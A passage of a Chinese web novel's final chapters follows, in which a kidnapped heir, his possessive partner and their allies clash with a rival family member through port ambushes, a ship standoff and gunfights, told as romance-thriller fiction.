贺琨却说什么都不配合,还好这是临时改造的关押间,比较空荡,否则恐怕是早已被砸得稀烂。 纪清嵩一时有些拿不准贺琨到底是在掩饰,还是单纯地不敢出现在纪明冉的面前。 僵持到中午,贺琨又添了几道新伤,他看着门外的日头渐斜,偏头对看守的说:“叫纪清嵩来。” 纪清嵩再次踏入了关押贺琨的地方,比起当年纪明冉对他的手段,自己已经很仁慈了。 他上下打量着贺琨,不仅面色苍白,就连嘴唇也因为缺水而干裂,唯独那双冷峻的眼依旧亮得惊人。 他好像有些明白纪明冉为何对这位贺家的小少爷执着得几近疯魔。 “送点水和点心来。”纪清嵩先是侧过头对身后的随从吩咐,然后才看向贺琨,“改变主意了吗?” 即使纪清嵩先释放好意,贺琨的态度也没有半分软和,他冷冷道:“我有条件。” 纪清嵩手上的动作微顿,没有继续接过随从手中的吃食亲自喂,而是抬颌让随从递到贺琨面前。 他也觉得有趣,恐怕是被宠惯了,明明已经是阶下囚,却依旧昂着头,对他好、满足他的条件都是应该的。 “你说。” 贺琨的双手都被固定住了,他仰头咽下随从红着脸、抖着手喂的半口饮用水,垂眸看了看自己的腿。 “其一,伤了我的人要付出代价;其二,我不愿意整天都被捆着。” “第二件事倒是好说,第一件这可不好办,毕竟阿庆是领命办事的,你要是活奔乱跳的进来,他就要横着出去了。” 贺琨白眼一翻,他就猜出来有纪清嵩的手笔,这人心眼又多又毒,不管三七二十一废了他一条腿,还拖着不治,反正不亏。 但他有的是时间,耗不起的纪清嵩。 贺琨露出歉意的假笑,略表遗憾地闭嘴,任凭如何也不再说话。 本以为这次他和纪清嵩最起码也能坚持一夜,结果贺琨还是高估了对方的素质,又低估了对方的残暴。 只不过是低头的功夫,院里响起枪鸣,不出半分钟,一具柔软温热的尸体被拖到了贺琨面前,血迹拉出长长的一条,最后汇聚到贺琨脚边,还在不断地扩大。 这是贺琨没想到的,他已经一天一夜没有进食了,血腥味扑面而来,胃里翻腾不止,差点要呕出些酸液来。 “现在,可以了吗?”纪清嵩得意地笑着。 — 纪明冉接到纪清嵩的视频通话是在傍晚,月亮都还不太明,只是个虚影挂在天边。 “好久不见,明冉。” 纪明冉坐在书桌前,不知在什么合同的末尾落下签名的最后一笔,才缓缓抬眸。 金属眼镜框在灯光下发出冷锐的光,他没有搭理纪清嵩的问候,而是直接锁定了视频后方,坐在轮椅上的青年。 纪清嵩尽收眼底,嘴边的笑容真实了半分,因为他现在手里攥着纪明冉“命门”。 “明冉,恭喜恢复健康,你不知道你那痴傻的样子有多好笑,就差在脖子上围个口水巾。” 贺琨本来在后面安分坐着,尽职尽责地扮演,听见纪清嵩的莫名其妙的讥讽,想了一下,觉得还挺可爱的,这下想笑又不能笑,脸色更难看了。 他抬眸悄悄瞥了眼视频中的男人,看起来完全恢复了,听见纪清嵩的话也毫不在意,坐在书桌前冷冷清清的,活像死了老公的貌美大寡夫。 贺琨完全沉浸在自己的世界里,半秒后才察觉到他这是在咒自己呢,连忙呸了几下,收回心神。 “脸上两道,手腕三道,腿也,受伤了。” 纪清嵩不解,但纪明冉幽沉的眸光足够令人心生恐惧,直到听见最后那句才反应过来,视频里的男人在数贺琨身上的伤。 “又如何呢,尽管如此,他还是想尽办法地逃离你。” 纪明冉手里的药片碎了,粉末全落在看不见的角落,“条件。” “明晚9点,乔希半岛西海港,带上纪氏目前关于神经接驳所有研究成果,来换人。” “纪明冉你非法囚禁,我绝对不会和你回去。”贺琨喊话结束,转而怨恨地盯着纪清嵩。 纪明冉觉得纪清嵩刺眼多余,他皱着眉缓缓站起,“贺琨,看我。” 贺琨以为纪明冉能听懂暗示,毕竟这段时间,可能外人看来不像,但他确实是自愿留下的,不存在什么囚禁说法。 由于担心纪明冉乱说话,贺琨几乎是在话音落下时,就看向视频中的男人,站起来显得身材更好了,满屏的长腿。 “明晚就来接你,保护好自己。” 贺琨眼睛酸酸的,他不知道纪明冉现在知道多少真相,毕竟自己做计划的时候,这人还是个傻子,他只交代肃山千万要看好保护好纪明冉。 纪明冉要是不相信他,贺琨难受,纪明冉要是相信他,贺琨更难受。 可是现在的纪明冉一无所知,无论前方是什么,只要贺琨在,他就会去。 目的已经达到,纪清嵩直接断开视频通话。 纪明冉沉默地倒出两倍控制情绪波动的药物,机械地吞咽,避免病情复发。 肃山因为纪姝纪禾的异动,已经连夜赶回国内,带走了部分人手,留下肃江陪着纪先生,他从角落里走出来。 “先生,万一贺先生真的背叛了您呢?” 贺琨的话还在脑海中盘桓,非法囚禁是不对的,可是婚前那段时间纪明冉昏头了,不管什么方式,只想留住贺琨。 “我也欺瞒过他。” “可,万一贺先生这段时间照顾您,只是想卸下您的心防,好伙同纪清嵩”肃江在纪明冉眼神里,忽地屏住呼吸,剩下的话没胆说出口。 第82章 第八十二章结局1电话挂断后,纪清…… 电话挂断后,纪清嵩就比较亢奋,贺琨搞不懂他的脑回路,也不想懂,不过这状态也不是没有好处。 最起码现在贺琨已经换了个房间,虽然依旧很简陋,但是已经比昨夜关押他的那间仓库好上许多。 之前负责看守贺琨的义眼男阿庆死得突然,新来的这个见了状,目前为止对贺琨还算温和。 已经是傍晚10点了,他丝毫没有睡意,坐在院子里,手上带着镣铐,仰着头数星星。 不一会外面响起汽车的引擎声,和昨晚出现的时间相似,听得出来不是小车,是货车。 “你该休息了。”看守人员远远地踢了踢贺琨身下的椅子。 贺琨将垫在脑袋后面,收回交叠的双手坐起身子,面前的看守人员眼睛里倒影的全是自己,全身因为戒备而紧绷到微颤。 他挑了挑眉,不觉得自己有多可怕,“外边运来的是什么?” 对方如临大敌,摇摇头道:“我不知道。” “哦,那看来是斗场用的禁药。” 年轻的看守人员色唰地变白,恨不得当场把对话内容录下来证明清白。 他可什么都没有说,他也不想死。 贺琨知道眼前20出头的年轻人不会带他去,但还是欠欠地说了一句:“存放在哪?带我去参观参观?” 果然,小伙这下眼睛都不敢乱瞟了,扣住贺琨就往休息的房间走,力道不重,速度也不快,只是肢体动作硬邦邦的,还没有被铐住的人从容。 贺琨被压进房间,老实地坐回床上,今晚这个真的是床,虽然还是木板床,但好歹有了软垫。 门再次被合上了,最后余留的缝隙里,他看见了一抬货物的大致去向。 月色从封死的窗口照进来,看得出窗外有几道看守的身影,贺琨拨弄着衬衫上的扣子合上了眼。 翌日,一位眼熟的看守人员急匆匆地跑到纪清嵩那,给纪清嵩的随从汇报了什么。 眼看着随从大哥满脸狐疑地进了屋,他才松了半口气。 “他想换身干净衣服?” 看守小伙刚被随从大哥领进屋,纪清嵩提着毛笔写写画画,看起来很高深,听见发问,他连忙回道:“嗯嗯,可能昨晚不舒服就吐了,床铺衣服都挺脏的。” 小伙说着回忆起来,表情还有些嫌恶,但是也不敢明着表现出来。 “给他换,”纪清嵩手腕轻转,运笔自如,“还要换好看点,今晚要会情人了。” 小伙两眼一黑,都这个时候了,哪里去找好看的衣服,这么芝麻大小的事,早知道自己就给解决了。 年轻人丝毫不记得几分钟之前,他还在万般纠结,生怕遗漏什么就把自己的命给送了。 随从挥挥手,他低眉顺眼地离开,转头就哭丧着脸,却没听见房间内,男人的声音再次响起。 沉缓地对亲信的吩咐道:“你亲自去检查,别有纰漏。” — 贺青峰得了贺琨失踪的消息,一副果然如此的神情,眉心依旧跳个不停。 可能是年纪上来了,有了心理准备也经不住折腾,出了酒店就直奔纪明冉的住处。 “人在哪?”贺青峰上到书房,一路畅通。 纪明冉坐在书桌前,来回数着什么,等他走进才看见是白色的药物,一把,就这么全被吞咽了。 虽然不是知道这是什么药,但是常识告诉贺青峰,没有什么药是一把一把的吃的。 他拧起眉心,贺琨这小子怎么千挑万选,选中个疯的。 纪明冉在恢复期,却一直在发烧,医生说他目前的情绪最好不要有太大波动,轻则留下些头疼的后遗症,重则永久性痴呆。 可贺琨不在,纪明冉魂都跟着去了,失而复得后的失去才磨人,他恨自己当初没有直接杀了纪清嵩,他更怕,什么都怕。 “今晚9点,乔希半岛西海港。” 贺青峰难得点烟,他拨弄着打火机,“我必须去。” “我的人手小部分在国内,还有部分被压在R国。”理智在药物的帮辅下占了上风,纪明冉语气淡淡的,只是在陈述,对接下来要面对的,没有半分犹豫。 贺青峰来的路上有所耳闻,纪清嵩压上了所有要杀纪明冉,这局面意料之中。 而贺琨意图引纪清嵩现身,但绝不可能如表面这般被动。 他的猜测是对的。 此时,唯一的知情者、贺琨临时的盟友宋榄,正在接近该城南侧的渡玫湾。 定位显示贺琨已经在此地停留了两个小时,应该就是那个纪家四爷今晚计划撤退的港口。 宋榄抛玩着手中苹果,弯起指节敲了敲屏幕中状似花苞的渡玫湾,握住再次落在手心里的苹果,送到嘴边咬了一口,香甜的汁水瞬间充斥唇齿。 他翘起腿搭在桌面上,抬起腕表随意瞥了眼时间。 “头儿,接到消息,贺青峰先生孤身带人去了乔希半岛西海港,预计晚上8点左右到达。” 宋榄眉心收拢,立马严肃地站起来划开地图,乔希半岛西海港?那和渡玫湾可是一南一北。 被啃了一半的苹果不知何时滑落到地上,砸了个糟烂。 “不,不对” 宋榄口中默默念叨,指尖飞速在屏幕上点击,很快系统给出预测,现在改变航向,最快也是晚上8时24分,他才能到乔希半岛西海港。 “艹,纪明冉死哪里去了,自己的老婆都找不到,废物。” 身着黑色作战服的青年站在门口,看着烦躁的宋榄,再次询问:“老大,那我们?” 宋榄压着眉眼,干净阳光的面容上满是阴郁,他直接通过智能系统直接拨到操控室,“修改目的地,乔希半岛西海港。” “派两队跟我走,剩下两队你带,按原计划去贺琨那边。” “是!” 另一边,被骂的纪明冉毫无感觉,他站在破碎的镜前,面色如常拿起配枪,熟稔地装配。 这是个海港城市,宋榄当初选择这样的城市来藏匿贺琨,自然就是因为人多杂乱,易进易出。 纪清嵩将斗场定在这座城市,难道会不清楚这座城市的特性。 纪明冉脑海中逐一浮现该城市的港口,纪清嵩到底会选择哪个。 贺青峰已经先去乔希半岛西海港打探虚实。 纪明冉压着呼吸,他要思考,他不能急。 “肃江,去渡玫湾。” 下一秒,尖锐的铃声在肃江答复前打破平静,纪明冉脑中闪过无数可怕的猜想,最终只是抬手接起。 “贺琨在渡玫湾,我的人马上会联系你。” 对面咬牙切齿的,似乎每个字都夹着句脏话,巴不得狠捅纪明冉几刀子,可说完就挂断了,还挺礼貌的。 宋榄?他为什么知道阿琨的位置,纪明冉都不知道。 越野车在夜色中朝着渡玫港疾驰,看着接手的所有讯息,风险大到触目惊心,纪明冉已经把药当糖豆吃。 末了,他又古怪的笑了。 纪明冉不气了,他想起来阿琨还交代了肃山要照顾好自己,他才是最重要的,贺琨宝贝他。 宋榄知道纪明冉会嫉妒得发狂,论起疯他们也算得上半斤八两,但是他才不管。 这几年宋榄觉得自己已经不一样了,不屑和纪明冉这种阴暗的人为伍。 他焦躁地站着,凝视着港口的灯塔,纪家人出手都黑,峰哥干净,做不了脏事,容易吃亏。 靠岸后,宋榄带人直接朝着枪声最密集的方向疾驰,纪清嵩的人没有撤到这边,本来也就是专设的绞杀点,奔着死局来的,怎么会留撤离点。 宋榄的心悬到了嗓子眼,他还是来晚了。 港口外围的后侧方区域,激烈的交火声更加真切,撕裂了夜空的宁静。 子弹急速擦出的火光在集装箱之间穿梭回响,微光短暂地照亮了混乱的战场,总有人影在昏暗中不断倒下。 “隐蔽!”宋榄抬手示意,借助集装箱的掩护迅速观察。 前方战况惨烈,贺青峰带来的人显然训练有素,人数并没有处于劣势,甚至更占优势。 但是依旧被纪清嵩的人死死压制在几处掩体后,伤亡不小。 贺青峰本人靠在个巨大的货柜转角后,宋揽一眼就看见了,那人脸色冷峻,正用手势指挥着仅剩的手下交替掩护。 动作间稍有凝滞——受伤了。 第83章 第八十三章结局2宋榄几乎是擦着子…… 宋榄几乎是擦着子弹跑到贺青峰身边,没反应过来的队员,赶忙抬枪掩护。 夜色给港口染上了黛蓝,海上拂来的风没有停留,繁星微光只能描绘出宋榄模糊的轮廓,贺青峰睁了睁眼,却看不清。 这个港口本就不是主要的贸易港,今晚更是冷清黑暗。 “叫你的人撤离,贺琨不在这里,走!”宋榄抬枪解决了一个正在靠近的敌人,避开贺青峰受伤的肩膀,捞起人准备离开。 贺青峰也猜出来了。 他带着人到此地时,还未到约定时间,对面压根没有露面,不管不顾地直接开始围剿,杀得他们措手不及。 而且这群人很怪 “小心——”贺青峰拽住宋榄的手腕将人扯到身侧,一发子弹几乎是擦着宋榄的太阳穴而过。 宋榄还在愣神,贺青峰抬起手腕,正对子弹飞来的方向扣下扳机。 那人随着枪鸣倒下,胸口满是血迹,显然是宋榄刚才抬枪击中的人。 纪清嵩派来的这群人真的很怪,很难杀死,“小心,对方的人不对劲。” 贺青峰观察着再次倒下的人,这次应该真的死了。 手腕上还残留着余温,宋榄抬起左手捏了捏腕关节,分神去观察那人的死状,“注射了违禁药物。” 他的生意离不开这些,对纪清嵩的斗场有所耳闻。 有了宋榄的人撤离的速度比刚才快上不少,伤亡程度依旧不容乐观。 又是两道枪鸣,血液飞溅,宋榄侧后方的人倒下了,他的呼吸愈发沉重。 他看着要转身查看情况的背影命令,“不准回头,贺青峰。” 许是宋榄第一次用这样的口吻对贺青峰说话,他回头的动作忍了忍,终是继续向前。 宋榄咧嘴一笑,眉间的阴郁似乎散去了,如清风拂过的乌云后露出湛蓝天空的一角。 身后枪击声依旧不断,他们没有任何优势,但是马上就要到宋榄他们的下船点了。 附近的丛林给了他们喘息的时间,枪声不断,走散的人也更多了。 海水的声音逐渐明晰,宋榄上前半步,将贺青峰拉到一块巨大的岩石后。 他握住贺青峰的手腕,一块腕表扣了上去,延展出来的蓝屏上有两个小红点。 宋榄指着,“有两艘船,我们现在去这艘。” 贺青峰低头查看,最近的这艘船已经很近很近,不觉间两人的呼吸交错,他不适地拉开距离,“嗯,别靠我那么近。” 宋榄失声笑笑,自己的额头都快垂到峰哥额边了,不怪被嫌弃,“好,知道了。” 贺青峰狐疑,宋榄今晚怎么这么好说话,又是一阵海风,铁锈偏甜的气息加重,好浓的血腥味。 “砰——” 前方的树皮被子弹崩裂,木体被嵌入,宋榄收敛笑意,拽着贺青峰的手腕,“继续走。” 海浪的声音更清晰了,隐蔽地翻过一块岩石,贺青峰看见了电子图上的那艘船。 线条利落流畅,正静静地泊在浅滩不远处,如同蛰伏的黑色海兽。 “说好要带你走的,我疼你吧,再快点,他们跟来了。”宋榄往前推了推贺青峰,力道却比之前轻了许多,甚至带着点虚浮。 贺青峰没有搭理,宋榄说话向来没个正形,两人踩着湿滑的礁石和浅水,快速向前。 艇上留守的队员看到他们,立刻放下舷梯,并警惕地持枪掩护后方。 “快!老大!贺先生!”队员焦急地喊道。 贺青峰踏上舷梯,利落地上了甲板,下意识地回头看了一眼身后的宋榄。 微弱的光线里,宋榄的脸色白得吓人,他紧抿着唇,似乎在极力压抑着什么。 贺青峰立马和队员配合,快速将宋榄拉上甲板,几乎同时间船艇发动,快速远离礁石。 他这才看见宋榄左侧腰腹的位置,深色的作战服被浸染出一大片深色的湿痕。 贺青峰颤抖着用手指轻触,是粘腻的。 “别碰,脏。”宋榄握住贺青峰的手,抹去那点血迹,眉眼带笑着安抚,“我带你去找贺琨。” 他的脸色比宋榄好不了多少,“先治疗。” 贺青峰转头看向船员,刚想开口问话,硬物没入皮肉的声音在耳边清晰响起,甚至都能闻到焦糊的味道。 子弹贯穿,船员的眉心洇红,眼神瞬间失去生机,船艇罢工似地越来越慢。 有人提前上船了! 宋榄眼神陡然凌厉,瞬间将贺青峰拉入怀中,抬手擦去他侧脸颊上温热的血点,急速按着贺青峰走到栏边。 他快速瞥过那块刚才给贺青峰带上的腕表,可以检测位置和生命体征,最起码第二艘船艇的人能找到贺青峰。 “跳!峰哥!” 凌晨,天似乎永远不会明,如墨般漆黑的海浪撞击翻卷,似乎*要将所有吞没。 又是子弹没入血肉的声音,贺青峰身后的怀抱忽地一压,湿意透过衣物染满后腰。 他听见宋榄说:“听话,往前游,别回头。” 海面溅起的水花,紧接着是第二声,只有船灯照亮这方海域。 冰冷刺骨的海水瞬间将两人吞没,巨大的冲击力让贺青峰呛了一口咸腥的海水,意识短暂模糊。 他在水中挣扎着转身,试图抓住宋榄。 青年的脸色在船灯残光的映照下,白得像溺死的鬼魂,海水冲刷着他的伤口,浓重的血色如同墨汁入水般晕开变淡,又被新的涌出的鲜血染红。 贺青峰的心脏像是被一只冰冷的手狠狠攥住,他一把抓住宋榄冰凉的手臂,用尽全身力气拖拽着,朝着腕表指示的方向奋力游去。 不知过了多久,仿佛一个世纪那么漫长,前方终于出现了灯光。 被他搂住的宋榄似乎察觉到了,身子叹息般地微微颤动,最后一次费力地睁开眼,用仅剩的力气推搡贺青峰,绝望而偏执地催促。 海水冰冷刺骨,每一次划水都耗费着巨大的体力,宋榄无力地沉入黑暗里,发丝如同海藻般散开,眉宇间只剩下一种近乎安详的平静,贺青峰却始终够不到了。 他浮出水面大口呼吸,脸上滚烫的水珠掉进海里,继续朝着探照灯游去,没再回头。 — 太阳在西边斜挂着,空气里闷沉沉的,院里还挺热闹,前两晚送来的货,现在正在装箱。 贺琨坐着轮椅,就这么糊里糊涂地被推上了车,纪清嵩在旁边闭目养神。 他记得视频通话里,纪清嵩说好的时间和地址是晚上九点什么西海港,现在什么情况,贺琨转头看向车外,不远处集装箱正在装载。 “看这么认真,想和我一起做生意?” 平稳的声音带着丝恶意,就这么蹿进贺琨的耳朵里,听得他脑仁疼,“生意?我怕遭报应。” 纪清嵩也不恼,“不是人人都有你这般好福气的,贺小少爷。” 生理年龄已经来到30岁的贺小少爷弯起标准的笑容,“也不是人人都像您这么极端,纪四叔。” 纪清嵩笑了,饶有兴趣地注视着贺琨道:“记得你以前性子沉闷内敛,不像现在这般‘扎手’。” 贺琨撩起眼皮,毫不客气地上下扫视回去,微垂的眼尾看谁都是漫不经心的模样。 渡玫湾原本是奔着休闲娱乐的功能开发的,建造工程不知怎地停在了一半,四周都是锈迹斑驳的钢筋没来得及浇灌,裸露的水泥四处都是被水侵蚀过的痕迹,还有些没被偷走的建材堆在路旁。 观感不好,萧瑟破败,若不是这点夕阳照着,说阴森也不过分。 这里的港口以前也繁忙过,后来随着这开发工程的中断就冷清了,偶尔会有货箱,也只能说是偶尔中的偶尔。 纪清嵩自己是坐过轮椅的人,不知抽了哪根筋,下车给贺琨推上轮椅了,不过确实比看守小伙推得平稳舒适。 贺琨这会看明白了,“你要逃?” “出去走走,你男友把我困了六年了。” 纪清嵩似乎在与贺琨的相处中,达成了某种微妙的平衡,虽然美化了言语,但是挺真实的。 贺琨皱皱眉,表现出厌恶,“我和他没关系。” 纪清嵩笑着,眼底没有丝毫温度,“所以,我正在履行我们的交易内容,帮你离开。” 贺琨没记错的话,上次这人是说要杀了纪明冉,永绝后患,纪清嵩也不太正常。 夕阳已经落下,天际紫蓝相接,甲板上的风逐渐变大,纪清嵩走哪就把贺琨带到哪。 他坐在轮椅上,被推进舱内,“我要去卫生间。” 纪清嵩不知从哪顺手拿了个花瓶,递到了贺琨手里。 贺琨先是混不吝地冷嗤一声,漫不经心地抬手接过,单手利落地解着腰带。 结果纪清嵩先笑了,“小少爷,逗你呢。” 他将轮椅交到看守人员手中,“带他去,10分钟以内解决。”说罢,又递给看守人员一把手枪,“回不来,他先死,你后死。” 看守的年轻小伙瞬间冒出冷汗,急急忙忙地推着贺琨就跑,生怕因为上个厕所的事丢了脑袋。 就算是进了卫生间,小伙也死活不肯离开半步,怕贺琨突然凭空消失,自己没有交代。 “我说,你能不能回避一下?最起码转个身。” 青年看着贺琨冷峻的眉眼,不知道想到什么,突然脸一红,僵硬地转身,“你说点什么话吧,方便确认位置。” 【全文完结】 第84章 第八十四章结局3全文完…… “好。”贺琨提着花瓶站起来,安静的卫生间内一道闷响,身前的青年倒在地上。 他弯腰摸出青年腰间别着的枪,忍着小腿伤口的痛意,直往押货的舱室走去。 出乎意料的是这一路上竟然格外通畅,贺琨按着枪,满心戒备地继续往前。 舱室门口没有任何人看守,不知道这药物是无光保存还是怎么回事,总之舱室内也是黑压压的。 贺琨侧身闪进,周遭的气温陡降,冷得他瞬间打了个冷颤,无光保存不能断定,但是低温保存是肯定的。 制冷设备还在呼呼运转,除此之外没有任何声音,只有逃生通道标识散发着微弱的光。 贺琨逐渐适应黑暗的环境,他拿出衣扣伪装而成的微型炸弹,按照爆炸程度最大化的阵列安装。 又是十来分钟,按理说纪清嵩应该已经发现他不在了,现在该找过来了才是。 但是四周依旧静悄悄的,仿佛无事发生。 贺琨感觉不对劲,但具体又说不上来,忽地右侧传来异响,他直接抬起枪械,“别动!我看见你了!” 那道黑影缓缓举起双手,背影有些眼熟,贺琨排除杂念,戒备着靠近,冰冷的枪口对准了那人的太阳穴,没有开枪,避免引来更多的麻烦,“你——” 话还没说出口,背对着贺琨的身影就闷闷道:“阿琨” 贺琨微愣,连忙把枪收回来,下一秒就被按在了身后的箱子上,软凉的触感落在唇角,随后是一触即离的舔吻。 纪明冉的眸里似乎攒着星光,那眼神一寸一寸地贪婪描绘着,偏执占有在纠缠的呼吸里,竟变成怯懦,他将自己埋进贺琨的肩窝里。 “我好了。”所以不要找其他人,你想做什么我都愿意去。 冰凉的发梢擦过下颌,贺琨心里有些酸涩,“这才几天没见。” “一个月零五天。” 贺琨:“?” 合着纪明冉没把自己失忆的日子算在里面。 纪明冉在沉默里蹲下身子,反复检查贺琨小腿处的伤口,被简单处理过,绷带缠绕,可鲜血还是渗了出来。 “痛吗?”声音有些抖。 贺琨的心在胸腔里猛撞了一下,他不经意地笑道:“还好,没什么的,用治疗仪很快就可以疗愈了,你怎么找到这的?宋榄呢?” “宋榄去找哥了,我偷溜上来的。” 纪明冉带人埋伏上来,正在清理偷换纪清嵩的人手,这间货舱目前为止依旧安静,正是因为这里的监控已经被入侵篡改了。 贺琨这几天多少听说了纪清嵩的“手笔”,纪明冉现在身陷困境,孤立无援,虽然恢复了心智,他依旧有些忧心。 “没事,等宋榄的人来接应,我们就把这艘船炸了,这些货物流通出去不好。” 纪明冉听贺琨的,他点点头,直起身子将人抱到侧边堆叠的箱子上坐着,刚好高出他半个脑袋。 “下船就去治疗,找最好的医生。” “问题不大,没有伤到骨头,”贺琨几乎是下意识地扭头探查四周,可当垂眸看见纪明冉泛红的眼眶,他的思绪空白了半秒,“好,找最好的医生。” 空气再次静默,纪明冉借着微弱的光仔细查看着,“还有哪里痛吗?” 贺琨摇着头推了推男人的肩头,想要站起来,现在还在纪清嵩的船上,不能掉以轻心。 “这里不安全,你找个地方躲着,等宋榄的人来了,你就先走,好吗?” 贺琨推肩的动作很轻,纪明冉可以装作没有察觉,但他克制地往后退了半步,依依不舍地离开迷恋的气息和触感。 可贺琨又拨弄起他的心绪,耳边轻柔的安抚里写满偏爱,让他兴奋得心脏有些发疼。 纪明冉仰头,吻了吻贺琨的下巴,忽然问道:“我可以亲你吗?” 他微抬下颌,颈线绷出优美的弧度,眉头轻蹙着,睫毛投下的阴影掩着委屈。 留给观赏者的,是最惹人怜惜的角度 贺琨歪了歪头,如果没有数错的话,纪明冉已经亲了三次了,他双手托起男人的脸颊,献上第四枚吻,正正落在唇间。 纪明冉重重地吮了吮贺琨的舌尖,分开时唇色嫣红。 失神的贺琨微张着唇,他眼神阴沉,开口却是怯怯地。 “那,我们算和好了吗?” 贺琨晕乎着点头,纪明冉眼眸痴痴地黏在贺琨身上移不开眼,他找准机会,亲不够似的,借机仰头索吻,将怀中人的回答吞咽入腹。 空气似乎变得稀薄,贺琨按住纪明冉的额头,退后不到几分,又被拉了回去,舌尖都在发麻。 “贺琨,贺琨,贺琨” 暧昧的轻啧的缝隙间,纪明冉低声喃喃,一声比一声更执着。 被唤的人大口大口的喘息,藏在口腔中的舌头都在颤抖。一道光从眼皮掠过,贺琨眼神闪过清明,立马捂住纪明冉的嘴,“别,别说话。” 很快接连几束灯光扫进舱室,贺琨拉起纪明冉手臂摆成挟持的模样,又抽出纪明冉的枪,塞进男人手中。 “听说舱室有异动,我下来看看,”纪清嵩不徐不疾地走来,看见纪明冉时,平日里装模做样的笑容微微扭曲,“真是你啊。” 这间舱室的监控异常,不难猜出是纪明冉做的,船上还有多少自己人目前是个未知数。 纪清嵩微松领结,视线从纪明冉扣押住的贺琨身上扫过,没有什么明显的情绪。 “明冉,不如上楼谈谈,也好问问贺先生的意愿。” 纪明冉停顿了两息,缓缓将圈住贺琨手臂收紧,抬起右手将枪口对准纪清嵩,“你不该把主意打到他身上。” 纪清嵩眼神一凌,他抬手阻止手下上前,“明冉,再怎么说,这也是我的船,同归于尽有什么好处呢?” 原本打算用来交易的人,上了个厕所结果就到对方手中了,纪清嵩也很头疼。 “同归于尽?呵。” 纪明冉不在意的姿态让他更加拿不准了,纪清嵩转而看向贺琨玩味道:“贺青峰去了西海港,专门为明冉准备的局,猜猜看你哥能不能活下来?” 他幸灾乐祸地高谈阔论,再次迎上纪明冉冷若冰霜的眼神,状似好心地劝说道:“明冉啊,你可不要行差踏错,贺先生就真的再也不会原谅你了。” 纪明冉眼神晦暗不明,宋榄和贺青峰确实失去了联系,怀中的人身体愈发僵硬,他一面嫉妒着贺青峰,一面又心疼得要命。 纪明冉收起枪支,微眯起的眸子里满是危险,“你要如何?” “谈谈罢了。” 纪清嵩赌赢了,谁能想到纪正源这样肮脏不忠的基因,竟然养出了一个痴情种。 可惜是个疯子,贺家的小少爷连沾边都不愿意。 贺琨再次坐上轮椅,他微垂着眼,手指在扶手上无意识地敲击着,似乎在计算着什么。 纪明冉紧随其后,目光始终锁在他身上,如同沉默的影子。 一行人沿着通道往上走,氛围压抑得令人窒息。 顶层的一间小型会议室,视野开阔,能俯瞰部分甲板和漆黑的海面。 纪清嵩在主位坐下,姿态放松,仿佛真的只是来“谈谈”。 “明冉,请坐。”纪清嵩指了指对面的椅子,似笑非笑地,“贺先生,腿伤可还好?招待不周,见谅。” 纪明冉没有坐,他把玩着手中的枪,像看死人一样看着纪清嵩。 贺琨扯了扯嘴角,两个人都不想沾边的模样,“纪四爷的‘招待’,令人印象深刻。” 纪清嵩看着两人的反应笑了笑,无视了贺琨话里的讽刺,目光转向纪明冉:“开门见山吧。明冉,你想要贺琨,我想要这批货安全抵达,顺带……一点新研发的相关资料。我们其实没有根本冲突,何必闹到鱼死网破?” “鱼死网破?”纪明冉的声音冷得像这船舱的低温,“纪清嵩,你能活到今日,从始至终只有一个作用。” “呵,”纪清嵩身体微微前倾,眼神变得锐利,想起曾经有些失控,“对,还未来得及恭喜你得偿所愿,找到贺先生。只不过现在贺先生对你那是恨之入骨,所以避之不及地逃到我这,就是为了共谋如何杀了你。” 他戳着纪明冉的痛处和软肋。 “但四哥还是为你着想的,留下资料,并且从今往后不再干涉我,”纪清嵩盯着纪明冉,语气中满是恩赐的慈悲,“你就可以顺利带着贺先生离开,我保证你们安全离开,西海港那边,我也会立刻撤掉对贺青峰的压力。如何?” 纪明冉这时才慢条斯理地坐下,相比对方迫切的神情,他从容得如同谈判桌上的无往不胜的赢家。 海风将窗帘卷起,纪清嵩交叠的双手在沉默中扣得更紧实。 纪明冉淡淡瞥过桌对面焦躁的人,视线最终停留在贺琨身上,“可以。现在,撤走西海港的人。” 被人看守着的贺琨眼皮跳了跳,他没有想到。 小腿还在隐隐作痛,提醒着贺琨,纪清嵩的保证虚无缥缈,纪明冉不可能不知道,所以为什么。 没想到的人还有纪清嵩。 他原以为纪明冉对贺琨的感情只是极端偏执的占有,现在看来,那份量远超想象。 纪明冉答应的太干脆,反而像一把悬在头顶的利刃,选择权来到手里,他反倒开始不安。 纪清嵩死死盯着纪明冉那双因为背光更显幽深的眼睛,试图从中找出任何一丝伪装的破绽。 纪清嵩的喉结艰难地滚动了一下,终是抬手示意,他身后一名心腹手下立刻拿出通讯器,准备传达指令。 然而,就在那人按下通话键的瞬间——砰! 一声枪鸣打破了会议室的寂静,那名手下握着的通讯器的手变得血肉模糊。 惨叫声还未来得及发出,就被第二声枪响扼杀在喉咙里,整个人直挺挺地倒了下去。 开枪的是纪明冉。 他甚至没有看倒下的尸体,黑洞洞的枪口稳稳地指向纪清嵩,眼神冷得像淬了冰的海水。 “你!”纪清嵩惊怒交加,猛地站起身,椅子腿在光滑的地板上划出刺耳的噪音。 他身后的其他手下立刻拔枪,紧张地对准纪明冉和贺琨。 “你什么意思?!”纪清嵩的声音因愤怒和一丝不易察觉的恐惧而扭曲。 “你在撒谎,我为什么要屡行条件,”纪明冉的语气平淡得可怕,“你的人撤不撤,不重要了,宋榄的人,已经到了。” 不管是这,还是贺青峰那边。 就在刚才那秒,纪明冉听到窗外的暗号,意味着西海港的人已经找到了贺青峰,那就没有什么可顾虑的了。 仿佛是为了印证他的话,船舱外突然传来急促的枪响和短促的惨叫,紧接着是更多混乱的脚步声和交火声由远及近! 忽地,窗口传来巨响,玻璃碎片落了一地。 纪清嵩的脸色瞬间煞白,知道事情败露后,他猛地扑向会议桌下方一个隐蔽的按钮,那是紧急呼救装置。 然而,比他动作更快的是贺琨。 贺琨从始至终都盯着纪清嵩的一句一动,没有遗漏任何细微的表情或举动。 纪明冉举枪,贺琨选择相信,然后跟随。 在窗爆吸引所有人注意力的瞬间,他对准纪清嵩的抬起的左手毫不犹豫地扣下扳机。 说起来还是纪清嵩的枪支,他一直藏着,这才算是真的还了腿伤的仇。 两人没有沟通,却配合得极好,纪明冉目光扫过贺琨身后的看守人员,站在左侧那位接到信号,眼神变得凌厉。 几乎是同一瞬间,刺耳的电流声响起,所有的灯光疯狂闪烁后骤然熄灭,小会议室彻底陷入黑暗,连应急指示灯也失效了。 黑暗中响起一片惊恐的咒骂和碰撞,纪清嵩的忍痛抽气也被淹没在混乱中。 贺琨趁乱逃离看守,忽然间感到一股巨大的力量抓住了他的轮椅扶手,将他猛地向后拖拽。 纪明冉在黑暗中精准地找到了贺琨。 